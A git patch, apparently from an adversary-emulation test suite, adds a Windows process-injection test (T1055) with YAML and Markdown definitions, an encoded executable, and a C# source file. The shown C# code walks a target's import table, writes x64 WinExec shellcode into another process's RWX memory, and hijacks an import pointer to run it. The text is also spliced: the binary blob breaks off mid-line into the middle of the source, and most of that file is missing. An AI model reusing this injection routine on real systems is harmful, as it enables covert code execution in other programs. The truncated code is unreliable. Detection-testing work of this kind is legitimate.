From a668ff07d95343087f0837af4e9f73811c7107a2 Mon Sep 17 00:00:00 2001
From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com>
Date: Sun, 17 Feb 2019 15:45:00 -0700
Subject: [PATCH] T1055 process injection (#460)
* ProcessInjection-FiveAlive
* Generate docs from job=validate_atomics_generate_docs branch=T1055-ProcessInjection
---
atomics/T1055/T1055.md | 27 +
atomics/T1055/T1055.yaml | 23 +
atomics/T1055/bin/T1055.exe | Bin 0 -> 20992 bytes
atomics/T1055/src/T1055.cs | 1147 +++++++++++++++++++++++++++++++++++
atomics/index.md | 2 +
atomics/index.yaml | 40 ++
atomics/windows-index.md | 2 +
7 files changed, 1241 insertions(+)
create mode 100755 atomics/T1055/bin/T1055.exe
create mode 100644 atomics/T1055/src/T1055.cs
diff --git a/atomics/T1055/T1055.md b/atomics/T1055/T1055.md
index 1d06a5d4..84785962 100644
--- a/atomics/T1055/T1055.md
+++ b/atomics/T1055/T1055.md
@@ -31,6 +31,8 @@ Malware commonly utilizes process injection to access system resources through w
- [Atomic Test #3 - Shared Library Injection via /etc/ld.so.preload](#atomic-test-3---shared-library-injection-via-etcldsopreload)
+- [Atomic Test #4 - Process Injection via C#](#atomic-test-4---process-injection-via-c)
+
@@ -88,3 +90,28 @@ This test adds a shared library to the `ld.so.preload` list to execute and inter
echo #{path_to_shared_library} > /etc/ld.so.preload
```
+
+
+## Atomic Test #4 - Process Injection via C#
+Process Injection using C#
+reference: https://github.com/pwndizzle/c-sharp-memory-injection
+Excercises Five Techniques
+1. Process injection
+2. ApcInjectionAnyProcess
+3. ApcInjectionNewProcess
+4. IatInjection
+5. ThreadHijack
+
+**Supported Platforms:** Windows
+
+
+#### Inputs
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| exe_binary | Output Binary | Path | T1055.exe|
+
+#### Run it with `command_prompt`!
+```
+.\bin\#{exe_binary}
+```
+
diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml
index f9cfd9b5..c7267e43 100644
--- a/atomics/T1055/T1055.yaml
+++ b/atomics/T1055/T1055.yaml
@@ -59,3 +59,26 @@ atomic_tests:
name: bash
command: |
echo #{path_to_shared_library} > /etc/ld.so.preload
+- name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+
+ supported_platforms:
+ - windows
+
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: |
+ .\bin\#{exe_binary}
diff --git a/atomics/T1055/bin/T1055.exe b/atomics/T1055/bin/T1055.exe
new file mode 100755
index 0000000000000000000000000000000000000000..45cbf99541fd2ed7a9bcec50908a157dec0b1652
GIT binary patch
literal 20992
zcmeHvdwg4WmFKxvvR-~(DVCjwW95mGG>%^lNt(1#EID>-Tdt%yPDxQ@``T6_OR6L%
zHc7hf1E!&n(xr4M?e3>^3)3M!Tm3jxCU@8;AHCpxTuERNQwP?rAKjs&xein
zzL%&${w-cj(h#9x=)H>53q;Sb6V5;GC8{}}_jc$&*>sV1f#&8|M_WmsD}lJb7ZAY7
znWo)H$q^tr(pD%I#zBc~3rIL{UWv2f*b9fW74%FFf@15v$Yfo^I4h35MEfd8NiLxM
zd>GYNQS(-!9Xp8>@GdiIll->}zIG>iPs(dlKq4QkBJxmS8z*7BXQPpHBI*B_C$I}n
z_d9avW={~}j_Se{ED7@+g+rXe=ycQ+ib&QvuXjVto$~;jMxUugH9-s$PY|v4Toa&n
zq7^~tbNK8|%^pNPgzE&~yok4ot#kMsexI|o`Ga04^tn(}b7`)#X|IzFc5E#Cg6*h>
z9?g}*aPkB-25FaJlHaA-{bF1Y?Q(4N``lYdb8lX)2BFil8C`L8EIxAZKw@HD7q3^HzZf)&7sl9SGHHt
z57BAxqeiWHY1)QoZdAw~Tn39gm7P%Cy2I}@dH}6+)VQQ2j<2_8m(s8IYqcGttJO;9{L__CIywN
zbQ6W1pcWphlL4Oi3*3O#y$jrg*1!TASkWge_owa`U%Q8%N4*%;75#G4V!!wl%2#{U
zbB!44s@Ha|5i>(|E)&-a_*ckfnHRZ1_ymL9Ydg6YO%pzM1Uz8Bel;Kn7osmD!{;!?
zv?}R7M-W}(z_@SlBcq3<(P8Kb4BkaaXlq55*ByjDNNZJAKcP1rJ`W^A$mb3Tt^#M{
z<}t(bY{QBLHUf@k6-yoeC-yt}FdtT8X}~|MOWQD^J%tdv+QBmxD^ZQH61j|dupUjR
z^<${#&<@YD#>!CTcID6@PY%uTz!6n434+{euj^bR#+vGNpKHWmQ?)8TXBPvIm3`aq
z)BHZ~j(gAm^80){-opv42F1Nn{N!)A4$ZgvnxmtO?S`*CzGd37z}|iJbhN!%TjoD{
z&W?6(QT!xUI%r1-s-S6EbGc-31D9)rCz^5_IqBCLWy#n4vPkFN0VWFh{kKDx<;G{O
zM}K*=#@r@cf>@Y6z9y~7uQeH)%AwpAgH<;9^+l6?&9I>PJj0i3P0rvYC}h^K>w5Gs
zwdTwf_hxHm`&O9y%Vuq}zqRikZF5tAgDoU{E4Af8?7JS{stTFF8%AzZ;6+ocMO$$;
zt*tzp9@SPcv;d5exmsJHt@h{Ipo6rP8pyM0lUij^Qp{wvRIo&o!FS6tp{+ifmKof-
zHwX_qe67an5pZj*D2H5cAPCoD%)3uM2IpwaqrNqmDyt1s*1EMdLCi0YwpLraI6<`5
zU^|#bGuQcj>&s&6&Zb-Ude;ZhhYsHcqq2>Qxf=4l8>L3yI~J=6mL-B(aIu;upSEQ=
zX+DfhpXLj^gb8B|&RwNHyzz$S1>Z}WSF1jo-saS_ib1yPN(gMmI-ycO{EbGF>1)!9{A2*A0SPwOh!IQ6_q^+j01&QGmlMkE5PW
z{tOOGI?gH8TgX{nAbsr$govDC!^xK+Q+y{1c(#y(b@A~hUOyk__48R+?P8lMg9nd8
z_IZD92P~|{wr=j~7>kG`cqCw?U>n2cfDJ3)MAJ`SgGu4S?u8K{>l+r4t#Dg8OnGm4
z(%8)jp`ovM(rDJC(R@|ddgfVhCo1+iDg@1$1KAhhDHOtDYRAmMf;_5We;n1E<(Y%P
zO>1*uVlj~szi8%cLKu0GNEP$zQWo`SZY|(DcxC@>*%|2o0VvIU?d1lYPiL+ficsWw7
zN2FR`G4^bPnP`l?!XfOC>dAf3_yG(&MLpTWNi2~{@Uq1LX~Ud(6lLTnoJN@fdN3c{
z4G{`r#2|zg?q8O<2K`)_4tgL(2G^}xWevK&OmpaJNu4fp4XH1e>EN10sqdG$rf!?1
zJBaaW*|n+6E&E|#{7N(%10Dy$Tsq#}*520D-qnH8#;ZdHxC7DWy6bTdhii8e((zIu
zot?t13egL2|0q_UbqC_qj($eyN$d6>=nvz%7xZsAZ(k-i#=f=uomI)
zNSdkdD$gno`e(tP2o5@XoDTYQ!v`B2bd`6D*FnbwZ}T$e3*KiH4}IVJ6!=v>E~^Qy
z6ATJ&6};NV@)_R|pM%~noS*wx+hxlbuUy7uhk+g{E@N$R>p!j&uXHa_xw@2hgx75=66ocA|nPN~^FZ=={
z=;{Th%D6^wyWoDogX%``#{{#2ZzZo0%WL#|L7#0SIUMh@d1z!|-1gsrGlHiCZxOsh
z@P5IE1fLZAmf%Z*uK_L1Y=cIY=8e#~*=|=x7TN@N2u1`C3uXmx5L5(j7yOvugMwca
z{3ejCWt~5;d!h3sLA8q0s|2?R_6Z&mEC_yB@UH|P6a1#&%Ys!7)_{9S;CjIj&_RbB
zmjlNHk2>HhIxcvF;LVN@a&Hs7OYq~u|AgR!f}az7MDR($=LCN&__8Am4Zjnta&ldo
z;7Y-bjOE_h58GyJjHd)|5xhh2e!+(XpA`I-AdiF*895^|az++-evcO}*L4V11_e6=cM0|g4hS9)e7E3~U|w+E#g^YFc)Q@8!oSCrLM@*a{EG0O
z7W|>$>w@)eF1tc-gWxv7y@Eq-w)3dq`vgBK_$k3h1)mqmmjr($sCrmuwTH_#3I>I9
znc$#cQZO%gO7KIT3CQ0g_<-O;f?pMUUht=auL}M_&{@r;8UzD^mk72C_6i;p{9}Ex
z!95Ml|32Pe&6jx?2L+RYe@bs0spj697M!n^kuP|U;HQQE7-PdXs*gePdEpyl?4Kq5
zs-RNCW&MI%YFOtLf{#__ke(90q5nOS{)Ut~Bk4N??_)IAx6jn%ls|sumzi5$F+L(I
z2IDCk<1K=B2;MLFkl>So-x7RD@HL=i$v@THg|a^vd|j}*mN_d0FA?k!e3#&H!JB|s
zJ!;t}cME<}@H2v66#Satw-_5|u8EQ>m$ULp4eoOgTRE;Yn7)%CT|L!$Ry|4K-bq>@ELUGND&-O?McSD_&DnPM0NloLSWE
zfep5k%7U49dw|=1Q_*P@h)D4sQM5)JLb*$uRb
z{q`mHU#xW(`sYG#gfwpNkknEs|EIL`T4^0_H_^IdV#%y<{sL&Dj{xn&ey*Yik+yvM
z2+}Tk66mIXL@PY>64HwJ&BC{C?;k|oj@Kwl`^Xqe7nZ$nhpJrl#mVUz6$<&36fYoW_^6t5?&l%XX-b(bLQJs9&e=F59PmL-c>0e!Z+${SJ8=
z=jfkA{$GLDLH^pt6TnlAC)MB4t&Iz+qP(Wwtgb=s2UNH6#m0{!{dbM`0-u6pjg&=h
z;}b}e|0!5v_lJ}kymop9X|MlzV3Ys*z%~9Ks%w-Rd_Pwoq>TSp>LDunUl%0XCgmgk
z81QcYf_eje#(x;;FZ<_cCu;wW5(1WNDb#hn?GgH|{}vnTIcqyajZG(@d2`bjZS2XX
zY%a`;TFe0#d2!ZI6R?3+0hiGl%!+2(1YAXJzyNiDzh2~nB7cdoS?4(r|D^6hQ0~R)3;H}&E!(tbPM#ju?y4!KLkB)x5~{15U2AElMRCnx~?n&|llk$;9Z
zfb%SE2EIVsfZro-?~8&zLVMlxlIZ-ISn{e^^((RGx6}>!-^1fBI;?Q3k0|WP359()
zt*|#T3VSlIaH~rSw|Y+DR-aP1)e9njv%;RgMM`}@m
z7wwR;yG3TNovjVq+1frkTRULqJ{q=jAC1~~!nVVLN9_L@=?VLNz-jwm0yFkc1M~LJ
z0ZaCWfOGaQ0Z-Wp9kHFYYx`{PNJ95
zBBGy5H2jK4zA8_Oe<4rSe~Gb1^uI;+SHywmuQB?GUZWQEN;Rog*~V=-+s(E+Y?{=X
ztT~~mh-PhcpZBxgFRM`-;d{8#cm(TEs^|=^J&Kd=QdJ7U8xMfqi*Mr|#+5J}dUsO2Tra~&VS10~BdoV=|wb&h2;&jrvHZKta@UGI
zq$EY}UL{4Juiu4Ucpi5?@`_PJmXD)9X*Ek9*DK7FdnKfzN-)kRAE$9W7bz=
zY*k}iRbzbMYYm)UoIae(aQdkct3e~iOCv4ExdP`(oU3rQ(rOCefHltroiH`P5FKyH3bQ&(?#`R*cKYLUkFHtBzZluz=Y$!W#
zW>R9hprQN-F+zz@GTa}F^dzFOLnbpi%(_AYrf65^
zoAbAKoBZDXfyh#|ap;4JrOf`p;b<(83`gQUvHoGyXBOWVibs;M$UwBmXhS$vO2y&B
zazhQL^`(!d#*a}?bSM!SO(c5ePRAyFB%;(X$rmuTYLn4w)^x+yV
zbFV%Si5*(f50?DMU@|%!i5U&6U>=P1CnDwYkP>}^k-=n7ba1dgL7a?5;*r=0#JKBN
zz$g{X>sf28?AJ@iNbE~xCo(#L=B&`fM1e=xNV-s(O=UtEe4!edql1NXNjHlQ>NB~*
zJjE~^mvUr~=`m!Nbi?yxj_J1XQm$ZF6B&*49DpMhtr8e3SyX6XfD9*@j)N16von^n;FU{B
zDMd*1XD4%o8ABNyUzopuF_50YK$xiH$LF)-(}i3%{T`jJiNvBZzsMZ!`_Ro-g${-e
zC3|Dh!Q_?EeO695(i=K3kVr;iv1lwg7!60PoT11;?xuKjUZfyhV%JpvmsAmfqY5T;usc`$k~IT9W$
z^ZT$kgfHM4Ln{)t#10Jgi{{ACNPjFkG#D95P&l&h!2V=(Xy6b=Pk+2@lEJqO3`Y{7
zp1ul;u}ERmf>E(1qb%%)&i%hc`QJjbP8s{!W+PseT;`uU
z)tk;_LM41kF*b|AI&s3-XHLYYb0_fO^F;0h>a{BEtT3RHrsE|Hr~GV5QqkFxm5dY$
zyk?loC#Fs^)Wf@$x!kt(M`<7CMq!>ux?Z5(LT+XW1HLMDb?!@-`V4`ATxwz4^dhp#ok3MSjjoVtLe)MJa&Ui*(vZBbAv<89H*u
zvpLXMOOx&9wZpu2n%6E|bNWnr!n|Vg89AL+kP&JeXzfgPTZv1p#C9w3
zPAjp)O6)`ewq^Ab)|y}~^wPP5;*7!6(Oh95ojs-(M)X1vyC@B&v*)w8Ky5D
z*`H09(y0vC6TAVN+ymM4d3>|R=wu{YD$Eb((%BO2OBF3;Mp88NqjPkou_(!I9?GPr
zvNJjgV4&%Xlvr#ofY~WyA6{bm#qzkNQp*zQr5u)t&yE#kcV8lR0T*MutJ4&bt>1DD
zH^fXEqp(Ol)B5r;xl3qv`OX=~VStedW;9}03N>)#92J7&mVrxQI
za7+;%^m@UVjzhCEV|pPv89SZ|Whc1viWHg4=L)4nY7A4qe`Ya_N^`S?aoxy?%#G`L
z4yz2ZM=zApld_8#4DPEK|CmMg4ucog$7ZJ}R2ZMejxk=EEg;6gw^OOiaH&9vfw&>X
z_Vwhllj$i_6V{js!w~8ZVF}eUsddWe6
zwbdLzMM^*zgG+}?XYwSYPcI~L@%fptT*j!oTt;|SA4H|$sf=0E`5iTsn$fK}C3DG`
z6tUC^8Or5~E@YJbg(#gT1Dk`{rz3tuHx5&GhSwtL-pY(WXo)0
z7mY>s_s0?PEsB@7&kM794{!u#)+^B%npDVT4(19IXl$x9Ta;uXH6>TsgQAm@MZH9l
zj_VnWWsE@XTr-1{WqwSb!VE^ZiW@EjZS6z(Io68+&TyVF6T^je3Ku$XcH->9xgF;_
zsW+2LmEx)6yzou!M_=euy@CY~B9o?^kkT>K>h$StKk4xN+*}%VDw%cN&*2
z7(5W$L9v|_>uAT>ffL4cbm8pAc`3!H!9$42qC-O=g#IJaYnD+a$z6iZ#~Oo`
z$|43*#nQe)3NdXW$BGtd4lpdv;(}NfDzhxPL7rw4C$Ma#3%YgZKGvU|#v)%bqwh@K
zxCxV0WZFpMQ{3FRFfw^-m!3EwYs;i@LuRb9e0MpSG4Fp6Q}H5f$%C4moJ3TVm2#Q9
zwYKe>FX=_T6To<|A}MnzZR_VXD3_086r}N(fe?%>#&qYYklPEyjK)(5EAr#OQ1&dd
zR-_B1MVp4P$Ia-d1Y%2{NLZQ>pynsDe6I(`aWIj|mvvB)$cF|gx!91U9aV%(BzruK`y2^FGWnj_
zLID9u7=6nN!aM}T(%C%U94)G>yj8-Qz>(@CVicepDVt=huhYgIxe?B^S-k^;
z^N=l+yT@S2SilyMnv+yFR8ozzwKH
z@bXp6Ax4m!NO78JUO1ha%I1uq#q=Vtq=l08L;)S57x&Fe8+ofje_)_-5O57f8)W(W
zYvP;%Jv&vJMu3z;fWV{MYyqbipHeWzQ_SQH;&x;@l`$h9Ye*;fm%5QGRxnF>Sf5PI
zX2dF)1H>rR9!T`=U}H^7&{Bjkw0pRaK8}SO?#bxf=i=V5UP`4i#mi6jws-fmZ}0Bj
z+7;>S+}hm}j%?l8wIj5(x4p9?9O;VmwnxIJ;WeYr_Ul=`NyjQ+4KPY3;U$E6p+W%x
z4nk#a7f+i#9azrRug5%@&P}w>ZExozwH3>p74c+n$B$=#T+m|nruEE(>5;{F+z>H)
z#oDqnyn}IU&n`EZ*jyyYZR^QdxkW7ZsflPdGr!1_h`gVlZ*gO=3BqX=6zel*h4t9c
zP)~!oM34s~B=j((Fwgmjq@&QP)%mAgKtAKO?8bd^S7&5c|
z)B~+E=n<}&t)Q-T=!pP4oJZ+OJ!wd0!OxL<6K}iDH-*b3mdH0KFRENvXFRSeM!!Oe~#RcsArd4&g?fe4O4omPt
z8XO1Nnq8{PPD*oK6{*e5b$GYd+}!MTyYX@jbW4@HVY!ubHMl(F$^EN%m&9%k4JwB7qlo(CczHxNQ!tf!|}2eJ{fT1HYrS<8v1L
znw`nlp@P`$sQFSz{jyl!hK%tlzcP@5aHJZy0_15`F>6z5^I5x?V88MuAu6hH$5yhnEaji&ty
z05o$YM^uN$?r71bkRPKK0SG0K)@NntVNHjYGHq`8LIgsUDc(2`~Xzk8`>hWj`
zXOQn^#$JXU47(Y^41JD9@4^SsHa6VFihWcSpcWrSC(Lg_hFa%xp)H{74sBrpt!=6D
zI0D=T8M_`kDW2wj=a#xUn2ttj?b=>#hqk*#3%6)}-h~^yn%jke?(!IQp*0>)OO^H4
z+$@A!ZB|>V_}^;0Uskn+kF3%b?t&Gon!P)#op$J5_{eI!EVesUj0kqY!Y9<#VlxJX
zQ`+E7!&KN;z1r#ZZh{N7yj4vLrk2qMQpd1u^^H6O>*`jmQdc*qtBnOUADl#5ydZL7jUUKxbN}X^NaAO--OSF7Z{cttcCD}
z7SX*6_>4hi$~a!Uk?5yJwlH?9-MEfWoRYu@BBwZZz9+67McEO^79hPS(~gL5
z@xa+OxK!t$l4kH*e?nti>Js)*WjD#S$Krq%ygzzGv;cUR-;{
z<+YyODLihN8OzKEpdee^vv#(S-Blc))@M@1tuyKILavybENvan&Fo4QXWEW;tPS8c
zB|WJZOXm9gRTfXQ_N*P8uXw`LmdfYXZZkCCmbEDF
z)!(K)ool5W>MrWzvv^K7Z_?lt^y_9}r;g`c>En15G^H2crq(V?YXHZh9xUPGv-~Vz
zKtHZ$0vX0VYg70V>39xLe%1zN)5f#3J!>aZnWAnsN|bDS6KgEfw=J=K_qMVVAh3Iz
e)k7e-xBq(reader);
+
+ // Add 4 bytes to the offset
+ stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
+
+ UInt32 ntHeadersSignature = reader.ReadUInt32();
+ fileHeader = FromBinaryReader(reader);
+ if (Is32BitHeader(fileHeader))
+ {
+ optionalHeader32 = FromBinaryReader(reader);
+ }
+ else
+ {
+ optionalHeader64 = FromBinaryReader(reader);
+ }
+
+ imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
+ for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
+ {
+ imageSectionHeaders[headerNo] = FromBinaryReader(reader);
+ }
+
+ // Go to ImportTable and parse every imported DLL
+ stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin);
+ importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50];
+
+ for (int i = 0; i < 50; i++)
+ {
+ importDescriptors[i] = FromBinaryReader(reader);
+ }
+ bool flag = false;
+ int j = 0;
+
+ // The below is really hacky, would have been better to use structures!
+ while (j < importDescriptors.Length && !flag)
+ {
+ for (int k = 0; k < 1000; k++)
+ {
+ // Get the address for the function and its name
+
+ stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin);
+
+ long nameOffset = reader.ReadInt64();
+ if (nameOffset > 1000000 || nameOffset < 0)
+ {
+ break;
+ }
+
+ // Get the function name
+ stream.Seek(nameOffset + 2, SeekOrigin.Begin);
+ List list = new List();
+ byte[] array;
+ do
+ {
+ array = reader.ReadBytes(1);
+ list.Add(Encoding.Default.GetString(array));
+ }
+ while (array[0] != 0);
+ string curFuncName = string.Join(string.Empty, list.ToArray());
+ curFuncName = curFuncName.Substring(0, curFuncName.Length - 1);
+
+ // Get the offset of the pointer to the target function and its current value
+ long funcOffset = importDescriptors[j].FirstThunk + (k * 8);
+ stream.Seek(funcOffset, SeekOrigin.Begin);
+ long curFuncAddr = reader.ReadInt64();
+
+ // Found target function, modify address to point to shellcode
+ if (curFuncName == targetFuncName)
+ {
+
+ // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
+ // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
+ byte[] payload = new byte[111] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58
+ };
+
+ // Once shellcode has executed go to real import (mov to rax then jmp to address)
+ byte[] mov_rax = new byte[2] {
+ 0x48, 0xb8
+ };
+ byte[] jmp_address = BitConverter.GetBytes(curFuncAddr);
+ byte[] jmp_rax = new byte[2] {
+ 0xff, 0xe0
+ };
+
+ // Build shellcode
+ byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
+ payload.CopyTo(shellcode, 0);
+ mov_rax.CopyTo(shellcode, payload.Length);
+ jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
+ jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
+
+ // Allocate memory for shellcode
+ IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // Write shellcode to memory
+ IntPtr shellcodeBytesWritten = IntPtr.Zero;
+ WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten);
+
+ long funcAddress = (long)optionalHeader64.ImageBase + funcOffset;
+
+ // Get current value of IAT
+ bytesRead = 0;
+ byte[] buffer1 = new byte[8];
+ ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead);
+
+ // Get shellcode address
+ byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress);
+
+ // Modify permissions to allow IAT modification
+ uint oldProtect = 0;
+ bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
+
+ // Modfiy IAT to point to shellcode
+ IntPtr iatBytesWritten = IntPtr.Zero;
+ bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten);
+
+ // Read IAT to confirm new value
+ bytesRead = 0;
+ byte[] buffer = new byte[8];
+ ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead);
+
+
+ flag = true;
+ break;
+ }
+ }
+ j++;
+ }
+ }
+
+
+ public struct IMAGE_DOS_HEADER
+ { // DOS .EXE header
+ public UInt16 e_magic; // Magic number
+ public UInt16 e_cblp; // Bytes on last page of file
+ public UInt16 e_cp; // Pages in file
+ public UInt16 e_crlc; // Relocations
+ public UInt16 e_cparhdr; // Size of header in paragraphs
+ public UInt16 e_minalloc; // Minimum extra paragraphs needed
+ public UInt16 e_maxalloc; // Maximum extra paragraphs needed
+ public UInt16 e_ss; // Initial (relative) SS value
+ public UInt16 e_sp; // Initial SP value
+ public UInt16 e_csum; // Checksum
+ public UInt16 e_ip; // Initial IP value
+ public UInt16 e_cs; // Initial (relative) CS value
+ public UInt16 e_lfarlc; // File address of relocation table
+ public UInt16 e_ovno; // Overlay number
+ public UInt16 e_res_0; // Reserved words
+ public UInt16 e_res_1; // Reserved words
+ public UInt16 e_res_2; // Reserved words
+ public UInt16 e_res_3; // Reserved words
+ public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
+ public UInt16 e_oeminfo; // OEM information; e_oemid specific
+ public UInt16 e_res2_0; // Reserved words
+ public UInt16 e_res2_1; // Reserved words
+ public UInt16 e_res2_2; // Reserved words
+ public UInt16 e_res2_3; // Reserved words
+ public UInt16 e_res2_4; // Reserved words
+ public UInt16 e_res2_5; // Reserved words
+ public UInt16 e_res2_6; // Reserved words
+ public UInt16 e_res2_7; // Reserved words
+ public UInt16 e_res2_8; // Reserved words
+ public UInt16 e_res2_9; // Reserved words
+ public UInt32 e_lfanew; // File address of new exe header
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_DATA_DIRECTORY
+ {
+ public UInt32 VirtualAddress;
+ public UInt32 Size;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_OPTIONAL_HEADER32
+ {
+ public UInt16 Magic;
+ public Byte MajorLinkerVersion;
+ public Byte MinorLinkerVersion;
+ public UInt32 SizeOfCode;
+ public UInt32 SizeOfInitializedData;
+ public UInt32 SizeOfUninitializedData;
+ public UInt32 AddressOfEntryPoint;
+ public UInt32 BaseOfCode;
+ public UInt32 BaseOfData;
+ public UInt32 ImageBase;
+ public UInt32 SectionAlignment;
+ public UInt32 FileAlignment;
+ public UInt16 MajorOperatingSystemVersion;
+ public UInt16 MinorOperatingSystemVersion;
+ public UInt16 MajorImageVersion;
+ public UInt16 MinorImageVersion;
+ public UInt16 MajorSubsystemVersion;
+ public UInt16 MinorSubsystemVersion;
+ public UInt32 Win32VersionValue;
+ public UInt32 SizeOfImage;
+ public UInt32 SizeOfHeaders;
+ public UInt32 CheckSum;
+ public UInt16 Subsystem;
+ public UInt16 DllCharacteristics;
+ public UInt32 SizeOfStackReserve;
+ public UInt32 SizeOfStackCommit;
+ public UInt32 SizeOfHeapReserve;
+ public UInt32 SizeOfHeapCommit;
+ public UInt32 LoaderFlags;
+ public UInt32 NumberOfRvaAndSizes;
+
+ public IMAGE_DATA_DIRECTORY ExportTable;
+ public IMAGE_DATA_DIRECTORY ImportTable;
+ public IMAGE_DATA_DIRECTORY ResourceTable;
+ public IMAGE_DATA_DIRECTORY ExceptionTable;
+ public IMAGE_DATA_DIRECTORY CertificateTable;
+ public IMAGE_DATA_DIRECTORY BaseRelocationTable;
+ public IMAGE_DATA_DIRECTORY Debug;
+ public IMAGE_DATA_DIRECTORY Architecture;
+ public IMAGE_DATA_DIRECTORY GlobalPtr;
+ public IMAGE_DATA_DIRECTORY TLSTable;
+ public IMAGE_DATA_DIRECTORY LoadConfigTable;
+ public IMAGE_DATA_DIRECTORY BoundImport;
+ public IMAGE_DATA_DIRECTORY IAT;
+ public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
+ public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
+ public IMAGE_DATA_DIRECTORY Reserved;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_OPTIONAL_HEADER64
+ {
+ public UInt16 Magic;
+ public Byte MajorLinkerVersion;
+ public Byte MinorLinkerVersion;
+ public UInt32 SizeOfCode;
+ public UInt32 SizeOfInitializedData;
+ public UInt32 SizeOfUninitializedData;
+ public UInt32 AddressOfEntryPoint;
+ public UInt32 BaseOfCode;
+ public UInt64 ImageBase;
+ public UInt32 SectionAlignment;
+ public UInt32 FileAlignment;
+ public UInt16 MajorOperatingSystemVersion;
+ public UInt16 MinorOperatingSystemVersion;
+ public UInt16 MajorImageVersion;
+ public UInt16 MinorImageVersion;
+ public UInt16 MajorSubsystemVersion;
+ public UInt16 MinorSubsystemVersion;
+ public UInt32 Win32VersionValue;
+ public UInt32 SizeOfImage;
+ public UInt32 SizeOfHeaders;
+ public UInt32 CheckSum;
+ public UInt16 Subsystem;
+ public UInt16 DllCharacteristics;
+ public UInt64 SizeOfStackReserve;
+ public UInt64 SizeOfStackCommit;
+ public UInt64 SizeOfHeapReserve;
+ public UInt64 SizeOfHeapCommit;
+ public UInt32 LoaderFlags;
+ public UInt32 NumberOfRvaAndSizes;
+
+ public IMAGE_DATA_DIRECTORY ExportTable;
+ public IMAGE_DATA_DIRECTORY ImportTable;
+ public IMAGE_DATA_DIRECTORY ResourceTable;
+ public IMAGE_DATA_DIRECTORY ExceptionTable;
+ public IMAGE_DATA_DIRECTORY CertificateTable;
+ public IMAGE_DATA_DIRECTORY BaseRelocationTable;
+ public IMAGE_DATA_DIRECTORY Debug;
+ public IMAGE_DATA_DIRECTORY Architecture;
+ public IMAGE_DATA_DIRECTORY GlobalPtr;
+ public IMAGE_DATA_DIRECTORY TLSTable;
+ public IMAGE_DATA_DIRECTORY LoadConfigTable;
+ public IMAGE_DATA_DIRECTORY BoundImport;
+ public IMAGE_DATA_DIRECTORY IAT;
+ public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
+ public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
+ public IMAGE_DATA_DIRECTORY Reserved;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_FILE_HEADER
+ {
+ public UInt16 Machine;
+ public UInt16 NumberOfSections;
+ public UInt32 TimeDateStamp;
+ public UInt32 PointerToSymbolTable;
+ public UInt32 NumberOfSymbols;
+ public UInt16 SizeOfOptionalHeader;
+ public UInt16 Characteristics;
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ public struct IMAGE_SECTION_HEADER
+ {
+ [FieldOffset(0)]
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+ public char[] Name;
+ [FieldOffset(8)]
+ public UInt32 VirtualSize;
+ [FieldOffset(12)]
+ public UInt32 VirtualAddress;
